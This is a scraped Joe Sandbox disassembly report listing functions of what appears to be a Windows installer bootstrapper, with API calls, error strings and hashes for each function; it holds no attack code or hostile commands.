Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Heap$AllocateEventMutexObjectProcessReleaseSingleWait
String ID: Failed to allocate buffer.$NetFxChainer.cpp
API String ID: 944053411-3611226795
Opcode ID: 6680ded258afc3f9e2c6df58ca47eb880eb7e8042c82a09739477ab1d1b800d5
Instruction ID: 78466d2c9bd928381bfc2f056fb36ff7a518881387b4c4e3dbeabb4008a5f7e6
Opcode Fuzzy Hash: 6680ded258afc3f9e2c6df58ca47eb880eb7e8042c82a09739477ab1d1b800d5
Instruction Fuzzy Hash: 5921D375900204EFCB00DF64C949B9E7BB5FF49315F108468ED14AF292C7769906CBA0

Function 00A22F4A Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 74fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?,00000000,?,80070057,F0000002), ref: 00A22FA0

Strings

Failed to write message type to pipe., xrefs: 00A22FE3
Failed to allocate message to write., xrefs: 00A22F75
pipe.cpp, xrefs: 00A22FD9

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: FileWrite
String ID: Failed to allocate message to write.$Failed to write message type to pipe.$pipe.cpp
API String ID: 3934441357-1996674626
Opcode ID: e8daff3f7598ea208ee3fe4be3f776d3e944b72d7ff8c83cc35c7ac6d7bbd0b2
Instruction ID: d2b845d6225515d5bcf08b4d2d0b823a9c7908e216bc55bde3b412a337024554
Opcode Fuzzy Hash: e8daff3f7598ea208ee3fe4be3f776d3e944b72d7ff8c83cc35c7ac6d7bbd0b2
Instruction Fuzzy Hash: 8B11B772544219FEDB11DF98AE85EAEBBB9FB44311F200525F800B6181EA719D64E760

Function 00A47516 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73networktimeCOMMON

Download Yara Rule

APIs

Part of subcall function 00A4733E: InternetCloseHandle.WININET(00000000), ref: 00A47363
Part of subcall function 00A4733E: InternetCloseHandle.WININET(00000000), ref: 00A47371
Part of subcall function 00A4733E: InternetConnectW.WININET(?,00000000,?,00000000,?,?,00000000,00000000), ref: 00A473D0
Part of subcall function 00A4733E: lstrlenW.KERNEL32(00000000), ref: 00A473FB
Part of subcall function 00A4733E: InternetSetOptionW.WININET(00000000,0000002B,00000000,00000000), ref: 00A47408
Part of subcall function 00A4733E: lstrlenW.KERNEL32(00000001), ref: 00A47411
Part of subcall function 00A4733E: InternetSetOptionW.WININET(00000000,0000002C,00000001,00000000), ref: 00A4741A

GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,00000000,000000FF,?,00000000,HEAD,00000000,00000000,?,00000000,?,?), ref: 00A475A8
InternetCloseHandle.WININET(?), ref: 00A475BE
InternetCloseHandle.WININET(00000000), ref: 00A475C8

Strings

HEAD, xrefs: 00A47539
Failed to connect to URL: %ls, xrefs: 00A47563

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Internet$CloseHandle$OptionTimelstrlen$ConnectFileSystem
String ID: Failed to connect to URL: %ls$HEAD
API String ID: 1677864904-290634988
Opcode ID: eb4a1a22b81c701917708a63a1d9b4eaeee6aecc3e856be8c88e2f7cb1a24a40
Instruction ID: 0e80ecf9c4d240e39cda535fad1f3e22fd6a16b9692b42fee5cf7031472f4c1f
Opcode Fuzzy Hash: eb4a1a22b81c701917708a63a1d9b4eaeee6aecc3e856be8c88e2f7cb1a24a40
Instruction Fuzzy Hash: 1021F375900229FFCF02DFA5CD409EEBFB9FF48751B104466F804A6220D7719A65EBA1

Function 00A559D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00A559E3
VariantInit.OLEAUT32(?), ref: 00A559EF
VariantClear.OLEAUT32(?), ref: 00A55A63
SysFreeString.OLEAUT32(00000000), ref: 00A55A6E

Part of subcall function 00A555B3: SysAllocString.OLEAUT32(?), ref: 00A555C8

Strings

`5w, xrefs: 00A55A6E

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: String$AllocVariant$ClearFreeInit
String ID: `5w
API String ID: 347726874-4151700305
Opcode ID: adda4c215688fccf5ac6f9d068ed3c6bfbd13f4ff2c36a80c3bbf66df5e9d63b
Instruction ID: c5bb4f51e35c7d8d23fa640baf901db9b66f1252d0ce4ee00cc4750fa45a2629
Opcode Fuzzy Hash: adda4c215688fccf5ac6f9d068ed3c6bfbd13f4ff2c36a80c3bbf66df5e9d63b
Instruction Fuzzy Hash: 5421F871E00619EBCB10DFE4C898AAEBBB9BF48766F044554AA01EB211DB70DD05CBA0

Function 00A580BA Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70timenetworkCOMMON

Download Yara Rule

APIs

HttpQueryInfoW.WININET(00000000,4000000B,?,00000000,00000000), ref: 00A580F9
GetLastError.KERNEL32 ref: 00A58103
SystemTimeToFileTime.KERNEL32(?,?), ref: 00A5812C
GetLastError.KERNEL32 ref: 00A58136

Strings

inetutil.cpp, xrefs: 00A58158

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLastTime$FileHttpInfoQuerySystem
String ID: inetutil.cpp
API String ID: 3487154604-2900720265
Opcode ID: c9fd872873ec251e74a882c6800bc7c8f4933cbdd287c1b7847d33760383f4a2
Instruction ID: df5143ea031c00c680028b2882681e9059ab7d2f07fd191a47f2052057a9986d
Opcode Fuzzy Hash: c9fd872873ec251e74a882c6800bc7c8f4933cbdd287c1b7847d33760383f4a2
Instruction Fuzzy Hash: C211B732A10616A7D711CBA9DC45BAFBBACBF04752F110629E905FB150DA38DD0987A1

Function 00A36FA8 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 68COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCMT ref: 00A3702F

Strings

Failed to parse condition '%ls' at position: %u, xrefs: 00A36FE2
condition.cpp, xrefs: 00A36FCB, 00A37013
Failed to find variable., xrefs: 00A3701D
Failed to read next symbol., xrefs: 00A37048

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _memcpy_s
String ID: Failed to find variable.$Failed to parse condition '%ls' at position: %u$Failed to read next symbol.$condition.cpp
API String ID: 2001391462-1605196437
Opcode ID: 994a27cc9dd690d4e0d5bb1e1cb3a1b4cf7ff0cf6c161e25e1cecf7289a5c22d
Instruction ID: 19eda59ad2bfe716979fcd754593de8d8d064feed7ccda04c870a8fd4f997ac1
Opcode Fuzzy Hash: 994a27cc9dd690d4e0d5bb1e1cb3a1b4cf7ff0cf6c161e25e1cecf7289a5c22d
Instruction Fuzzy Hash: 92118C332987007AE7312A6CED02F6F76F5EBD6B50F50082CF305960D1EA72E804D262

Function 00A37BAA Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 00A52955: GetProcessHeap.KERNEL32(00A46A7B,?,?,00A50FA3,?,00000001,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000), ref: 00A52966
Part of subcall function 00A52955: RtlAllocateHeap.NTDLL(00000000,?,00A50FA3,?,00000001,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000,00000000), ref: 00A5296D

CreateWellKnownSid.ADVAPI32(00000000,00000000,00000000,00000000,00000044,00000001,00000000,00000000,20000004,?,00A37C80,0000001A,00000000,00000000,00000000,00000000), ref: 00A37BF6
GetLastError.KERNEL32(?,00A37C80,0000001A,00000000,00000000,00000000,00000000,00000000), ref: 00A37C00

Strings

cache.cpp, xrefs: 00A37BD1, 00A37C25
Failed to create well known SID., xrefs: 00A37C2F
Failed to allocate memory for well known SID., xrefs: 00A37BDD

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Heap$AllocateCreateErrorKnownLastProcessWell
String ID: Failed to allocate memory for well known SID.$Failed to create well known SID.$cache.cpp
API String ID: 2186923214-2110050797
Opcode ID: 644bdba20b4df7c836389be6590fe6945bad3c9c22c7d1b6ef6fa14aebab61d9
Instruction ID: 5e05fff21528ced26f78d4a2fbbca41a1e7e5f8e6cfa8f6f869b390a027d35a0
Opcode Fuzzy Hash: 644bdba20b4df7c836389be6590fe6945bad3c9c22c7d1b6ef6fa14aebab61d9
Instruction Fuzzy Hash: 54114872258321B6D3315B215D07F6F3A68AF41F62F210028FD00EB1C0EE74DD0582A4

Function 00A47D5F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000003E8,000004FF), ref: 00A47D90
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00A47DB8
GetLastError.KERNEL32 ref: 00A47DC0

Strings

bitsengine.cpp, xrefs: 00A47DEA
Failed while waiting for download., xrefs: 00A47DF4

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLastMessageMultipleObjectsPeekWait
String ID: Failed while waiting for download.$bitsengine.cpp
API String ID: 435350009-228655868
Opcode ID: 53e8de4e6f4e0f6e8436a3a59033d5e5ecaa3cd5a3b0c8c5b34479870e200c3f
Instruction ID: e6d881ee52d17ea9975cfdb24ad1e4cda860aa901ce4b3a2828c590d733a8415
Opcode Fuzzy Hash: 53e8de4e6f4e0f6e8436a3a59033d5e5ecaa3cd5a3b0c8c5b34479870e200c3f
Instruction Fuzzy Hash: 9111B276A54249FFDB01DBE4DE859AE7AB8EB44311F200479F601E6080D7719E449A60

Function 00A22EAE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCMT ref: 00A22F01
_memcpy_s.LIBCMT ref: 00A22F14
_memcpy_s.LIBCMT ref: 00A22F2F

Part of subcall function 00A48891: _memmove.LIBCMT ref: 00A488CD
Part of subcall function 00A48891: _memset.LIBCMT ref: 00A488DF

Strings

Failed to allocate memory for message., xrefs: 00A22EEA
pipe.cpp, xrefs: 00A22EDE

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _memcpy_s$_memmove_memset
String ID: Failed to allocate memory for message.$pipe.cpp
API String ID: 3316475362-1914209504
Opcode ID: 30016bda6923bb45858ac0357c8427693217608701ced0dead57ba5e1be9af7c
Instruction ID: cc53d450290c787ba42e910a2af3e85e4bbacea6b6481542b89a0b8a1fea3761
Opcode Fuzzy Hash: 30016bda6923bb45858ac0357c8427693217608701ced0dead57ba5e1be9af7c
Instruction Fuzzy Hash: 2F119EB6544229BBDB11AE95DD81DEB37ACFF49761F00042AFE149B201EB74991887E0

Function 00A276E5 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 65COMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 00A27703

Strings

Failed to format path string., xrefs: 00A2770E
Failed to set variable., xrefs: 00A2775B
Failed get file version., xrefs: 00A2773B
File search: %ls, did not find path: %ls, xrefs: 00A2776F

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Open@16
String ID: Failed get file version.$Failed to format path string.$Failed to set variable.$File search: %ls, did not find path: %ls
API String ID: 3613110473-2458530209
Opcode ID: 844b3fb267851bd56fbe4bfd91a0e3862d05a707c9f788b44cf38f9f1b8a03e5
Instruction ID: 99fdfd9d0eee84ec3becb19bdbbe317eee14401c6eda9658286c6be0e0b8cd95
Opcode Fuzzy Hash: 844b3fb267851bd56fbe4bfd91a0e3862d05a707c9f788b44cf38f9f1b8a03e5
Instruction Fuzzy Hash: DA11233B944118FECF03AAACEE02FAE7776BB80700F204535F914A2161EB719B58E705

Function 00A2A025 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 58COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?), ref: 00A2A038

Part of subcall function 00A5054B: GetModuleHandleW.KERNEL32(kernel32,IsWow64Process,00000000,?,?,00A29175,00000000), ref: 00A5055F
Part of subcall function 00A5054B: GetProcAddress.KERNEL32(00000000), ref: 00A50566
Part of subcall function 00A5054B: GetLastError.KERNEL32(?,?,00A29175,00000000), ref: 00A5057D

Part of subcall function 00A56897: SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 00A568C4

Strings

Failed to set variant value., xrefs: 00A2A09A
variable.cpp, xrefs: 00A2A061
Failed to get 64-bit folder., xrefs: 00A2A081
Failed to get shell folder., xrefs: 00A2A06B

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: AddressCurrentErrorFolderHandleLastModulePathProcProcess
String ID: Failed to get 64-bit folder.$Failed to get shell folder.$Failed to set variant value.$variable.cpp
API String ID: 2084161155-3906113122
Opcode ID: 9a2fd9ed713035e6322078a2ee596a21221b2bcd177af625386d05a3d5855abc
Instruction ID: e34d859af3417b15bb41f312aad38641207b7c79bd48a36f3d094c556b9de765
Opcode Fuzzy Hash: 9a2fd9ed713035e6322078a2ee596a21221b2bcd177af625386d05a3d5855abc
Instruction Fuzzy Hash: BF01DB71944528FF8B21BB78EE06C9FBAB8EF74761B108525F805B3051E6705E449651

Function 00A292CB Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 58COMMON

Download Yara Rule

APIs

GetComputerNameW.KERNEL32(?,?), ref: 00A292F9
GetLastError.KERNEL32 ref: 00A29303

Strings

Failed to set variant value., xrefs: 00A2934B
variable.cpp, xrefs: 00A29328
Failed to get computer name., xrefs: 00A29332

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ComputerErrorLastName
String ID: Failed to get computer name.$Failed to set variant value.$variable.cpp
API String ID: 3560734967-484636765
Opcode ID: ae126ee234db3209953be0cebd31c2ad13692a5b66bff1cf153366e7d0ff07a5
Instruction ID: 94bb79ee8f2f488d7a28d77932bb1d7aa89936cd44749ff352c9ab19925ba1d9
Opcode Fuzzy Hash: ae126ee234db3209953be0cebd31c2ad13692a5b66bff1cf153366e7d0ff07a5
Instruction Fuzzy Hash: F101E533A40629A6DB11DAA8ED05FDF77ECBF48B11F140529E901FB1C0DB60ED4887A5

Function 00A5622F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A55D81: _memset.LIBCMT ref: 00A55DAC
Part of subcall function 00A55D81: FindFirstFileW.KERNEL32(00000000,?,00000000,?,00000000), ref: 00A55DBC
Part of subcall function 00A55D81: FindClose.KERNEL32(00000000), ref: 00A55DC8

SetFileAttributesW.KERNEL32(00000000,00000080,00000000,?,00000000,000000FF,00000000,?,?,00A394EB,00000000,00000000,E0000136,00000000,?,00000000), ref: 00A56264
GetLastError.KERNEL32(?,?,00A394EB,00000000,00000000,E0000136,00000000,?,00000000,00000000), ref: 00A5626E
DeleteFileW.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,?,?,00A394EB,00000000,00000000,E0000136,00000000,?,00000000,00000000), ref: 00A5628D
GetLastError.KERNEL32(?,?,00A394EB,00000000,00000000,E0000136,00000000,?,00000000,00000000), ref: 00A56297

Strings

fileutil.cpp, xrefs: 00A562B1

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: File$ErrorFindLast$AttributesCloseDeleteFirst_memset
String ID: fileutil.cpp
API String ID: 1255660700-2967768451
Opcode ID: e86aa3c8e20251e5967738a288b2a2c876acb27119905270a0bf1956c52dad2b
Instruction ID: ffb4079c61d387ef4c614c8a06978d667eeb38bb893a791e8d53b6e267996a85
Opcode Fuzzy Hash: e86aa3c8e20251e5967738a288b2a2c876acb27119905270a0bf1956c52dad2b
Instruction Fuzzy Hash: C501D672B1030676EB105BA9CC85BEE365CBF14757F444134BD05D60A1EBB4CC0C9660

Function 00A506A4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000001F4,?,00A43EB0,?,?,00A3AE28,?,000001F4,?,?,?,?,?,?,?,?), ref: 00A506B4
GetLastError.KERNEL32(?,?,00A3AE28,?,000001F4,?,?,?,?,?,?,?,?), ref: 00A506C2
GetExitCodeProcess.KERNEL32(000001F4,?), ref: 00A506FE
GetLastError.KERNEL32(?,?,00A3AE28,?,000001F4,?,?,?,?,?,?,?,?), ref: 00A50708

Strings

procutil.cpp, xrefs: 00A5072D

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLast$CodeExitObjectProcessSingleWait
String ID: procutil.cpp
API String ID: 590199018-1178289305
Opcode ID: 6f24f45a0e62c76e18eaedd2f119a3c668f52f1dfbcc1f21e4b4445abcc1c995
Instruction ID: ec382469ee9a0ef4cea55aa7fc11be64f0a909b5d906e6c68ea2d40f87d32714
Opcode Fuzzy Hash: 6f24f45a0e62c76e18eaedd2f119a3c668f52f1dfbcc1f21e4b4445abcc1c995
Instruction Fuzzy Hash: D011E932A50726EBDB108B54CC09FAA3E64FF04762F154264FC14EB290D374DE14DB90

Function 00A44DEC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00000002,?,?,00A45023), ref: 00A44DFC
ReleaseMutex.KERNEL32(?,?,?,00A45023), ref: 00A44E81

Part of subcall function 00A52955: GetProcessHeap.KERNEL32(00A46A7B,?,?,00A50FA3,?,00000001,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000), ref: 00A52966
Part of subcall function 00A52955: RtlAllocateHeap.NTDLL(00000000,?,00A50FA3,?,00000001,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000,00000000), ref: 00A5296D

_memmove.LIBCMT ref: 00A44E68

Strings

NetFxChainer.cpp, xrefs: 00A44E3B
Failed to allocate memory for message data, xrefs: 00A44E48

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Heap$AllocateMutexObjectProcessReleaseSingleWait_memmove
String ID: Failed to allocate memory for message data$NetFxChainer.cpp
API String ID: 2689949979-1624333943
Opcode ID: 51da18875a7e4b4e82ee9713458b7f9907c0a17a88de0247bc4ff7f7628df64d
Instruction ID: fb9a0d130c808169df86a43ee26285d5a69b5b825e25e684db71ee068bb0339b
Opcode Fuzzy Hash: 51da18875a7e4b4e82ee9713458b7f9907c0a17a88de0247bc4ff7f7628df64d
Instruction Fuzzy Hash: C7116A75200301EFDB20DF68D84AF6A77F1FB89315F204568F9159B291EB31A815CB14

Function 00A29AB0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 52COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00A29AE0
GetLastError.KERNEL32 ref: 00A29AEA

Strings

Failed to set variant value., xrefs: 00A29B30
variable.cpp, xrefs: 00A29B0A
Failed to get the user name., xrefs: 00A29B14

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLastNameUser
String ID: Failed to get the user name.$Failed to set variant value.$variable.cpp
API String ID: 2054405381-1522884404
Opcode ID: 2291378faf0dbf7c5b532f30fa1f2ddfbafb532000bb3d2eb1b80b14024c71c6
Instruction ID: 7278a2f7e95962126d73cb6a62eefee2349bf203da7445cbbb89268b0de84034
Opcode Fuzzy Hash: 2291378faf0dbf7c5b532f30fa1f2ddfbafb532000bb3d2eb1b80b14024c71c6
Instruction Fuzzy Hash: E901D632B41329A6C711DB58EC45FAF77ACAF00B10F100169F419E2281DB74D9498B95

Function 00A4800E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00A48023
LeaveCriticalSection.KERNEL32(?), ref: 00A48068
SetEvent.KERNEL32(?,?,?,?), ref: 00A4807C

Strings

Failure while sending progress during BITS job modification., xrefs: 00A48057
Failed to get state during job modification., xrefs: 00A4803C

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterEventLeave
String ID: Failed to get state during job modification.$Failure while sending progress during BITS job modification.
API String ID: 3094578987-1258544340
Opcode ID: 74a048da77296852356356e746e605794a950016d07ad10858f720a321cf2feb
